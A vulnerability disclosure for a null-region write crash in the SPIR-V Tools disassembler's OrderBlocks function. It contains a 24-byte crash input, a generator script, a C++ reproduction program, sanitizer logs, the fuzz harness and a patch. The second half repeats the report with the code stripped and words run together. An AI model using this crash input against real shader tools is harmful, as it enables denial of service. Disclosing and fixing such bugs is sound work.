SEGV in OrderBlocks via empty CFG when OpFunctionEnd precedes any OpLabel (REORDER_BLOCKS / NESTED_INDENT)
Summary
spvBinaryToText with either SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS
or SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENT set crashes (SEGV, write
to address 0x50) at source/disassemble.cpp:416 when an
attacker-supplied SPIR-V module emits OpFunctionEnd with no preceding
OpLabel. OrderBlocks writes cfg.blocks[0].nest_level = 0; on an
empty std::vector<SingleBlock> without checking that any blocks were
collected first.
Root Cause
When the disassembler is invoked with REORDER_BLOCKS or NESTED_INDENT,
Disassembler::HandleInstruction (disassemble.cpp:195) defers
per-instruction emission and instead drives a small CFG state machine:
each OpLabel pushes a SingleBlock onto
current_function_cfg_.blocks (line 202), and each OpFunctionEnd
calls EmitCFG() (line 207) to emit the now-finalized function. There
is no check that OpFunctionEnd is only seen inside a function body
that already opened with OpLabel.
EmitCFG (disassemble.cpp:486-496) calls OrderBlocks on
current_function_cfg_. The very first statement of OrderBlocks
unconditionally subscripts the blocks vector:
Vulnerable Code (source/disassemble.cpp:410-421)
// Given the control flow graph, calculates and returns the reverse post-order
// ordering of the blocks. The blocks are then disassembled in that order for
// readability.
std::vector<uint32_t> OrderBlocks(
ControlFlowGraph& cfg,
const std::unordered_map<uint32_t, uint32_t>& id_to_index) {
std::vector<uint32_t> post_order;
// Nest level of a function's first block is 0.
cfg.blocks[0].nest_level = 0; // <-- line 416, SEGV when blocks.empty()
cfg.blocks[0].nest_level_assigned = true;
// Stack of block indices as they are visited.
std::stack<StackEntry> dfs_stack;
dfs_stack.push({0, false});
When the input contains an OpFunctionEnd (or anything the parser
forwards that triggers EmitCFG() in deferred mode) without any
preceding OpLabel, cfg.blocks is empty. cfg.blocks[0] is then a
reference past the end of an empty std::vector; .nest_level = 0
performs a write at the resulting NULL/garbage offset. With ASan we
observe a SEGV write to 0x50 (the byte offset of nest_level inside
SingleBlock).
The crash is reachable through the public C API
(spv_context + spvBinaryToText) — no harness-internal state is
needed. The disassembler accepts whatever instruction stream the
binary parser hands it; structural validation (which would reject a
function tail with no function head) is the separate spvValidator
pass and is not invoked by spvBinaryToText.
Call chain
spvBinaryToText disassemble.cpp:1137
spvBinaryParseWithOptions binary.cpp:968
Parser::parse binary.cpp:260
Parser::parseModule binary.cpp:302
Parser::parseInstruction binary.cpp:464
DisassembleInstruction (callback) disassemble.cpp:551
Disassembler::HandleInstruction disassemble.cpp:207
Disassembler::EmitCFG disassemble.cpp:495
OrderBlocks -- cfg.blocks[0] disassemble.cpp:416 <--- CRASH
Severity
CVSS 3.1 Score: 5.5 (Medium)
Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/C:N/I:N/A:H
| Metric |
Value |
Rationale |
| Attack Vector |
Local |
The attacker-controlled SPIR-V module reaches the disassembler through a host process that loaded it (shader compilation tools, validators, debug pipelines). Network reachability depends on the embedder; conservative score assumes local. |
| Attack Complexity |
Low |
Crafting an OpFunctionEnd-without-OpLabel module is trivial (24 bytes); no heap shaping or timing required. |
| Privileges Required |
None |
Plain shader/SPIR-V input is the trust boundary. |
| User Interaction |
Required |
A user/tool must feed the malformed binary to a disassembler invocation. |
| Confidentiality |
None |
Write to a NULL-region address; not a controlled OOB read. |
| Integrity |
None |
The write target is not attacker-controlled in any useful way (SingleBlock::nest_level field at offset 0x50 of NULL). |
| Availability |
High |
Reliable process crash; usable as a DoS against any tool that disassembles untrusted SPIR-V with REORDER_BLOCKS or NESTED_INDENT (e.g. spirv-dis --nested-indent, IDE shader-debug pipelines, WebGPU/Vulkan tooling that pretty-prints shader binaries). |
This is not the same bug as
assertion-spirv-tools-link-bound-zero-not-validated — that one is in
the linker (spirv-tools/source/link/) and triggers an assertion on
header validation; this one is in the disassembler
(spirv-tools/source/disassemble.cpp) and is a SEGV on a vector
subscript. Different file, different function, different option
combination.
PoC
Crash input (raw SPIR-V — 24 bytes / 6 words)
07 23 02 03 00 01 00 00 16 17 24 00
17 17 17 17 07 17 03 93 00 01 00 38
- Word 0
0x07230203 — SPIR-V magic (presented as big-endian; the
parser auto-detects endian and byte-swaps subsequent words).
- Word 5 byte-swapped →
0x00010038 → opcode 0x0038 = OpFunctionEnd
(word-count 1).
- No
OpLabel (opcode 248) and no OpFunction (opcode 54) appear
before it — the deferred-mode HandleInstruction reaches
EmitCFG() with current_function_cfg_.blocks still empty.
# generate_poc.py — re-create the crash input from bytes
poc = bytes([
0x07, 0x23, 0x02, 0x03,
0x00, 0x01, 0x00, 0x00,
0x16, 0x17, 0x24, 0x00,
0x17, 0x17, 0x17, 0x17,
0x07, 0x17, 0x03, 0x93,
0x00, 0x01, 0x00, 0x38,
])
open("poc.bin", "wb").write(poc)
Crash input size: 24 bytes.
Fuzzer Reproduction
The libFuzzer harness spirv_asm_disasm_roundtrip_fuzzer consumes the
last three bytes for env_byte, dis_bits, and as_bits (via
FuzzedDataProvider::ConsumeIntegral) and treats the remaining
front-bytes as a SPIR-V word stream. The shipped crash file therefore
includes three trailing control bytes appended to the 24-byte SPIR-V
PoC.
Build
# Same flags chrome-build-harness used for spirv-tools — relinks against
# the ASan-built libSPIRV-Tools*.a shared by all spirv-tools harnesses.
clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1 -fno-omit-frame-pointer \
-I sources/spirv-tools/include \
-I sources/spirv-tools/external/spirv-headers/include \
-I sources/spirv-tools/build/include \
spirv_asm_disasm_roundtrip_fuzzer.cc \
-Wl,--start-group \
sources/spirv-tools/build/source/libSPIRV-Tools.a \
sources/spirv-tools/build/source/opt/libSPIRV-Tools-opt.a \
sources/spirv-tools/build/source/link/libSPIRV-Tools-link.a \
sources/spirv-tools/build/source/reduce/libSPIRV-Tools-reduce.a \
-Wl,--end-group \
-pthread \
-o spirv_asm_disasm_roundtrip_fuzzer
Run
ASAN_OPTIONS="symbolize=1:print_stacktrace=1:detect_leaks=0:abort_on_error=0" \
./spirv_asm_disasm_roundtrip_fuzzer crash-ed4934dbea92552d77e7b09154ad93d5fbab5145
Where crash-ed4934dbea92552d77e7b09154ad93d5fbab5145 is the 30-byte
file:
07 23 02 03 00 01 00 00 16 17 24 00 17 17 17 17
07 17 03 93 00 01 00 38 00 00 00 3d 6e 79
The trailing three bytes 3d 6e 79 decode (FDP-back-to-front) to
as_bits=0x3d, dis_bits=0x6e (NESTED_INDENT|FRIENDLY_NAMES|COMMENT
set; this is the path that triggers OrderBlocks even without the
REORDER_BLOCKS bit), env_byte=0x79 (SPV_ENV_VULKAN_1_3).
Sanitizer output (harness-side)
==2090143==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000050 (pc 0x...)
#0 OrderBlocks source/disassemble.cpp:416:28
#1 Disassembler::EmitCFG source/disassemble.cpp:495:7
#2 Disassembler::HandleInstruction source/disassemble.cpp:207:9
#3 DisassembleInstruction source/disassemble.cpp:551:24
#4 Parser::parseInstruction source/binary.cpp:464:22
#5 Parser::parseModule source/binary.cpp:302:22
#6 Parser::parse source/binary.cpp:260:31
#7 spvBinaryParseWithOptions source/binary.cpp:968:17
#8 spvBinaryToText source/disassemble.cpp:1137:20
#9 LLVMFuzzerTestOneInput spirv_asm_disasm_roundtrip_fuzzer.cc:109:35
SUMMARY: AddressSanitizer: SEGV source/disassemble.cpp:416:28 in OrderBlocks
Reproduced 3/3 times under the verification replay (deterministic,
byte-identical signature).
Production Reproduction
Path B — minimal public-API consumer
The library does ship spirv-dis, but the harness's preferred trigger
is the C API; the API-level repro is the cleanest demonstration that
the bug is reachable without any harness wrapper. Public headers only
(<spirv-tools/libspirv.h>); links against the ASan-built
libSPIRV-Tools.a produced by the upstream CMake build.
// repro.cc — public-API reproduction for spirv-tools OrderBlocks SEGV
#include <spirv-tools/libspirv.h>
#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <vector>
int main(int argc, char** argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <spirv.bin>\n", argv[0]);
return 1;
}
FILE* f = std::fopen(argv[1], "rb");
if (!f) { std::perror("fopen"); return 1; }
std::fseek(f, 0, SEEK_END);
long n = std::ftell(f);
std::fseek(f, 0, SEEK_SET);
if (n < 4 || (n % 4) != 0) {
fprintf(stderr, "input must be a non-empty multiple of 4 bytes\n");
std::fclose(f);
return 1;
}
std::vector<uint32_t> words(n / 4);
std::fread(words.data(), 1, n, f);
std::fclose(f);
spv_context ctx = spvContextCreate(SPV_ENV_UNIVERSAL_1_6);
if (!ctx) { fprintf(stderr, "spvContextCreate failed\n"); return 1; }
spv_text text = nullptr;
spv_diagnostic diag = nullptr;
const uint32_t opts = SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES |
SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS;
spv_result_t r = spvBinaryToText(ctx, words.data(), words.size(),
opts, &text, &diag);
fprintf(stderr, "spvBinaryToText returned %d\n", static_cast<int>(r));
if (diag) spvDiagnosticDestroy(diag);
if (text) spvTextDestroy(text);
spvContextDestroy(ctx);
return 0;
}
Build
git clone https://github.com/KhronosGroup/SPIRV-Tools.git spirv-tools
cd spirv-tools
git checkout ff5c50339cc1e9f34f04cb440a3e5fe89db0161d
git clone https://github.com/KhronosGroup/SPIRV-Headers.git external/spirv-headers
cmake -S . -B build \
-DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer" \
-DCMAKE_C_FLAGS="-fsanitize=address -g -O1 -fno-omit-frame-pointer" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address" \
-DSPIRV_SKIP_TESTS=ON
cmake --build build -j
clang++ -fsanitize=address -g -O1 -std=c++17 -fno-omit-frame-pointer \
-I include -I external/spirv-headers/include \
repro.cc \
-Wl,--start-group \
build/source/libSPIRV-Tools.a \
build/source/opt/libSPIRV-Tools-opt.a \
-Wl,--end-group \
-pthread \
-o repro
Run
python3 generate_poc.py # writes poc.bin (24 bytes)
ASAN_OPTIONS=detect_leaks=0 ./repro poc.bin
# Crashes with: AddressSanitizer: SEGV on unknown address 0x000000000050 ...
# in spvtools::(anonymous namespace)::OrderBlocks at disassemble.cpp:416
Sanitizer output (production-side, from .repro/prod_repro.log)
AddressSanitizer:DEADLYSIGNAL
==2172999==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000050 (pc 0x557c1f3d039c bp 0x7ffcb0d915e0 sp 0x7ffcb0d913a0 T0)
==2172999==The signal is caused by a WRITE memory access.
==2172999==Hint: address points to the zero page.
#0 0x557c1f3d039c in OrderBlocks source/disassemble.cpp:416:28
#1 0x557c1f3d039c in EmitCFG source/disassemble.cpp:495:7
#2 0x557c1f3d039c in HandleInstruction source/disassemble.cpp:207:9
#3 0x557c1f3ce89a in DisassembleInstruction source/disassemble.cpp:551:24
#4 0x557c1f4415c6 in Parser::parseInstruction source/binary.cpp:464:22
#5 0x557c1f4415c6 in Parser::parseModule source/binary.cpp:302:22
#6 0x557c1f4366d0 in Parser::parse source/binary.cpp:260:31
#7 0x557c1f4366d0 in spvBinaryParseWithOptions source/binary.cpp:968:17
#8 0x557c1f3ce517 in spvBinaryToText source/disassemble.cpp:1137:20
#9 0x557c1f3bed97 in main .repro/repro.cc:44:20
SUMMARY: AddressSanitizer: SEGV source/disassemble.cpp:416:28 in OrderBlocks
Top frame and call chain match the harness-side replay exactly.
Impact
| Aspect |
Details |
| Type |
SEGV / NULL-region write (out-of-bounds vector subscript on std::vector) |
| Severity |
Medium (CVSS 5.5 — DoS, no info leak, no controlled write) |
| Attack Vector |
Any host that calls spvBinaryToText with REORDER_BLOCKS or NESTED_INDENT on attacker-supplied SPIR-V (Vulkan/WebGPU shader-debug paths, IDE shader inspectors, spirv-dis --nested-indent, fuzzing/CI pretty-printers) |
| Affected Component |
spirv-tools/source/disassemble.cpp — OrderBlocks (line 416) reached from Disassembler::EmitCFG (line 495) on the deferred path taken when nested_indent_ || reorder_blocks_ is true (line 195) |
| Affected Versions |
Reproduced at commit ff5c50339cc1e9f34f04cb440a3e5fe89db0161d on KhronosGroup/SPIRV-Tools. The unchecked subscript predates this commit. |
| CWE |
CWE-125 (Out-of-bounds Read) / CWE-787 (Out-of-bounds Write) — write to nest_level field (offset 0x50) past end of empty std::vector |
Suggested Fix
Reject (or no-op) EmitCFG when no blocks were collected — i.e. when
the input emitted OpFunctionEnd with no preceding OpLabel. The
minimal, local fix is in OrderBlocks itself:
--- a/source/disassemble.cpp
+++ b/source/disassemble.cpp
@@ -410,6 +410,11 @@ std::vector<uint32_t> OrderBlocks(
ControlFlowGraph& cfg,
const std::unordered_map<uint32_t, uint32_t>& id_to_index) {
std::vector<uint32_t> post_order;
+
+ // A function with no OpLabel produces an empty CFG; the binary is
+ // malformed but the disassembler should not crash on it.
+ if (cfg.blocks.empty()) return post_order;
+
// Nest level of a function's first block is 0.
cfg.blocks[0].nest_level = 0;
cfg.blocks[0].nest_level_assigned = true;
A complementary fix in Disassembler::HandleInstruction could skip the
EmitCFG() call when current_function_cfg_.blocks.empty() so the
disassembler also avoids BuildControlFlowGraph on an empty CFG — but
the OrderBlocks guard alone is sufficient to stop the SEGV.
Validation of structural well-formedness (function head/tail pairing)
already lives in spirv-val; reproducing it inside the disassembler is
out of scope.
Fuzz Harness Source
// spirv_asm_disasm_roundtrip_fuzzer.cc
// Copyright (c) 2026 Google Inc.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
// libFuzzer harness for Logic Group: spirv_asm_disasm_roundtrip
//
// Drives the disassembler -> assembler round-trip path. Treats fuzz bytes
// as a SPIR-V binary, runs spvBinaryToText to produce assembly text, then
// feeds that same text back through spvTextToBinaryWithOptions with the
// PRESERVE_NUMERIC_IDS option set. Crashes in this pipeline indicate a
// round-trip inconsistency bug (e.g. the disassembler emits a syntax
// the assembler cannot reparse, or an edge-case id renaming that the
// assembler rejects).
//
// Input layout:
// byte 0 : low nibble = target_env selector (see PickEnv).
// byte 1 : disassembler option bits (bits 0..3 -> INDENT /
// NESTED_INDENT / FRIENDLY_NAMES / COMMENT). Bits the
// existing dis_fuzzer does NOT touch (NESTED_INDENT,
// COMMENT, REORDER_BLOCKS) are prioritised.
// byte 2 : assembler option bits (bit 0 -> PRESERVE_NUMERIC_IDS).
// byte 3+: SPIR-V word stream (4-byte LE aligned).
#include <cstddef>
#include <cstdint>
#include <cstring>
#include <vector>
#include <fuzzer/FuzzedDataProvider.h>
#include "spirv-tools/libspirv.h"
namespace {
constexpr size_t kMaxWords = 8 * 1024; // 32KB cap — round-trip is costly.
spv_target_env PickEnv(uint8_t nibble) {
switch (nibble & 0x0F) {
case 0: return SPV_ENV_UNIVERSAL_1_0;
case 1: return SPV_ENV_UNIVERSAL_1_1;
case 2: return SPV_ENV_UNIVERSAL_1_2;
case 3: return SPV_ENV_UNIVERSAL_1_3;
case 4: return SPV_ENV_UNIVERSAL_1_4;
case 5: return SPV_ENV_UNIVERSAL_1_5;
case 6: return SPV_ENV_VULKAN_1_0;
case 7: return SPV_ENV_VULKAN_1_1;
case 8: return SPV_ENV_VULKAN_1_2;
case 9: return SPV_ENV_VULKAN_1_3;
default: return SPV_ENV_UNIVERSAL_1_5;
}
}
} // namespace
extern "C" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {
if (size < 3 + sizeof(uint32_t)) {
return 0;
}
FuzzedDataProvider fdp(data, size);
const uint8_t env_byte = fdp.ConsumeIntegral<uint8_t>();
const uint8_t dis_bits = fdp.ConsumeIntegral<uint8_t>();
const uint8_t as_bits = fdp.ConsumeIntegral<uint8_t>();
const spv_target_env env = PickEnv(env_byte);
uint32_t dis_options = 0;
if (dis_bits & 0x01u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_INDENT;
if (dis_bits & 0x02u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENT;
if (dis_bits & 0x04u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_FRIENDLY_NAMES;
if (dis_bits & 0x08u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_COMMENT;
if (dis_bits & 0x10u) dis_options |= SPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKS;
uint32_t as_options = SPV_TEXT_TO_BINARY_OPTION_NONE;
if (as_bits & 0x01u) as_options |= SPV_TEXT_TO_BINARY_OPTION_PRESERVE_NUMERIC_IDS;
const std::vector<uint8_t> body = fdp.ConsumeRemainingBytes<uint8_t>();
if (body.size() < sizeof(uint32_t)) return 0;
const size_t word_count = std::min(body.size() / sizeof(uint32_t), kMaxWords);
std::vector<uint32_t> binary(word_count);
if (word_count > 0) {
std::memcpy(binary.data(), body.data(), word_count * sizeof(uint32_t));
}
const spv_context context = spvContextCreate(env);
if (context == nullptr) return 0;
// --- Stage 1: binary -> text ---
spv_text text = nullptr;
spv_diagnostic dis_diag = nullptr;
const spv_result_t dis_result = spvBinaryToText(
context, binary.data(), binary.size(), dis_options, &text, &dis_diag);
if (dis_diag != nullptr) {
spvDiagnosticDestroy(dis_diag);
dis_diag = nullptr;
}
if (dis_result != SPV_SUCCESS || text == nullptr) {
if (text != nullptr) {
spvTextDestroy(text);
text = nullptr;
}
spvContextDestroy(context);
return 0;
}
// --- Stage 2: text -> binary (the round-trip) ---
spv_binary out_binary = nullptr;
spv_diagnostic as_diag = nullptr;
(void)spvTextToBinaryWithOptions(context, text->str, text->length,
as_options, &out_binary, &as_diag);
if (as_diag != nullptr) {
spvDiagnosticDestroy(as_diag);
as_diag = nullptr;
}
if (out_binary != nullptr) {
spvBinaryDestroy(out_binary);
out_binary = nullptr;
}
spvTextDestroy(text);
text = nullptr;
spvContextDestroy(context);
return 0;
}
Build flags: clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1,
linked against the upstream-CMake-built libSPIRV-Tools.a,
libSPIRV-Tools-opt.a, libSPIRV-Tools-link.a,
libSPIRV-Tools-reduce.a (whole-archive, -pthread). Corpus seeds:
SPIR-V module byte streams (4-byte aligned) with valid magic.
Discovery
- Discovered by: O2 Security Team (FuzzingBrain)
- Discovered on: 2026-04-25
- Harness:
spirv_asm_disasm_roundtrip_fuzzer.cc (see "Fuzz Harness Source" above)
SEGV in
OrderBlocksvia empty CFG whenOpFunctionEndprecedes anyOpLabel(REORDER_BLOCKS / NESTED_INDENT)Summary
spvBinaryToTextwith eitherSPV_BINARY_TO_TEXT_OPTION_REORDER_BLOCKSor
SPV_BINARY_TO_TEXT_OPTION_NESTED_INDENTset crashes (SEGV, writeto address
0x50) atsource/disassemble.cpp:416when anattacker-supplied SPIR-V module emits
OpFunctionEndwith no precedingOpLabel.OrderBlockswritescfg.blocks[0].nest_level = 0;on anempty
std::vector<SingleBlock>without checking that any blocks werecollected first.
Root Cause
When the disassembler is invoked with
REORDER_BLOCKSorNESTED_INDENT,Disassembler::HandleInstruction(disassemble.cpp:195) defersper-instruction emission and instead drives a small CFG state machine:
each
OpLabelpushes aSingleBlockontocurrent_function_cfg_.blocks(line 202), and eachOpFunctionEndcalls
EmitCFG()(line 207) to emit the now-finalized function. Thereis no check that
OpFunctionEndis only seen inside a function bodythat already opened with
OpLabel.EmitCFG(disassemble.cpp:486-496) callsOrderBlocksoncurrent_function_cfg_. The very first statement ofOrderBlocksunconditionally subscripts the blocks vector:
Vulnerable Code (
source/disassemble.cpp:410-421)When the input contains an
OpFunctionEnd(or anything the parserforwards that triggers
EmitCFG()in deferred mode) without anypreceding
OpLabel,cfg.blocksis empty.cfg.blocks[0]is then areference past the end of an empty
std::vector;.nest_level = 0performs a write at the resulting NULL/garbage offset. With ASan we
observe a SEGV write to
0x50(the byte offset ofnest_levelinsideSingleBlock).The crash is reachable through the public C API
(
spv_context+spvBinaryToText) — no harness-internal state isneeded. The disassembler accepts whatever instruction stream the
binary parser hands it; structural validation (which would reject a
function tail with no function head) is the separate
spvValidatorpass and is not invoked by
spvBinaryToText.Call chain
Severity
CVSS 3.1 Score: 5.5 (Medium)
Vector:
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/C:N/I:N/A:HOpFunctionEnd-without-OpLabelmodule is trivial (24 bytes); no heap shaping or timing required.SingleBlock::nest_levelfield at offset 0x50 of NULL).REORDER_BLOCKSorNESTED_INDENT(e.g.spirv-dis --nested-indent, IDE shader-debug pipelines, WebGPU/Vulkan tooling that pretty-prints shader binaries).This is not the same bug as
assertion-spirv-tools-link-bound-zero-not-validated— that one is inthe linker (
spirv-tools/source/link/) and triggers an assertion onheader validation; this one is in the disassembler
(
spirv-tools/source/disassemble.cpp) and is a SEGV on a vectorsubscript. Different file, different function, different option
combination.
PoC
Crash input (raw SPIR-V — 24 bytes / 6 words)
0x07230203— SPIR-V magic (presented as big-endian; theparser auto-detects endian and byte-swaps subsequent words).
0x00010038→ opcode0x0038=OpFunctionEnd(word-count 1).
OpLabel(opcode 248) and noOpFunction(opcode 54) appearbefore it — the deferred-mode
HandleInstructionreachesEmitCFG()withcurrent_function_cfg_.blocksstill empty.Crash input size: 24 bytes.
Fuzzer Reproduction
The libFuzzer harness
spirv_asm_disasm_roundtrip_fuzzerconsumes thelast three bytes for
env_byte,dis_bits, andas_bits(viaFuzzedDataProvider::ConsumeIntegral) and treats the remainingfront-bytes as a SPIR-V word stream. The shipped crash file therefore
includes three trailing control bytes appended to the 24-byte SPIR-V
PoC.
Build
Run
ASAN_OPTIONS="symbolize=1:print_stacktrace=1:detect_leaks=0:abort_on_error=0" \ ./spirv_asm_disasm_roundtrip_fuzzer crash-ed4934dbea92552d77e7b09154ad93d5fbab5145Where
crash-ed4934dbea92552d77e7b09154ad93d5fbab5145is the 30-bytefile:
The trailing three bytes
3d 6e 79decode (FDP-back-to-front) toas_bits=0x3d,dis_bits=0x6e(NESTED_INDENT|FRIENDLY_NAMES|COMMENTset; this is the path that triggers
OrderBlockseven without theREORDER_BLOCKSbit),env_byte=0x79(SPV_ENV_VULKAN_1_3).Sanitizer output (harness-side)
Reproduced 3/3 times under the verification replay (deterministic,
byte-identical signature).
Production Reproduction
Path B — minimal public-API consumer
The library does ship
spirv-dis, but the harness's preferred triggeris the C API; the API-level repro is the cleanest demonstration that
the bug is reachable without any harness wrapper. Public headers only
(
<spirv-tools/libspirv.h>); links against the ASan-builtlibSPIRV-Tools.aproduced by the upstream CMake build.Build
Run
Sanitizer output (production-side, from
.repro/prod_repro.log)Top frame and call chain match the harness-side replay exactly.
Impact
std::vector)spvBinaryToTextwithREORDER_BLOCKSorNESTED_INDENTon attacker-supplied SPIR-V (Vulkan/WebGPU shader-debug paths, IDE shader inspectors,spirv-dis --nested-indent, fuzzing/CI pretty-printers)spirv-tools/source/disassemble.cpp—OrderBlocks(line 416) reached fromDisassembler::EmitCFG(line 495) on the deferred path taken whennested_indent_ || reorder_blocks_is true (line 195)ff5c50339cc1e9f34f04cb440a3e5fe89db0161donKhronosGroup/SPIRV-Tools. The unchecked subscript predates this commit.nest_levelfield (offset 0x50) past end of emptystd::vectorSuggested Fix
Reject (or no-op)
EmitCFGwhen no blocks were collected — i.e. whenthe input emitted
OpFunctionEndwith no precedingOpLabel. Theminimal, local fix is in
OrderBlocksitself:A complementary fix in
Disassembler::HandleInstructioncould skip theEmitCFG()call whencurrent_function_cfg_.blocks.empty()so thedisassembler also avoids
BuildControlFlowGraphon an empty CFG — butthe
OrderBlocksguard alone is sufficient to stop the SEGV.Validation of structural well-formedness (function head/tail pairing)
already lives in
spirv-val; reproducing it inside the disassembler isout of scope.
Fuzz Harness Source
Build flags:
clang++ -fsanitize=fuzzer,address -std=c++17 -g -O1,linked against the upstream-CMake-built
libSPIRV-Tools.a,libSPIRV-Tools-opt.a,libSPIRV-Tools-link.a,libSPIRV-Tools-reduce.a(whole-archive,-pthread). Corpus seeds:SPIR-V module byte streams (4-byte aligned) with valid magic.
Discovery
spirv_asm_disasm_roundtrip_fuzzer.cc(see "Fuzz Harness Source" above)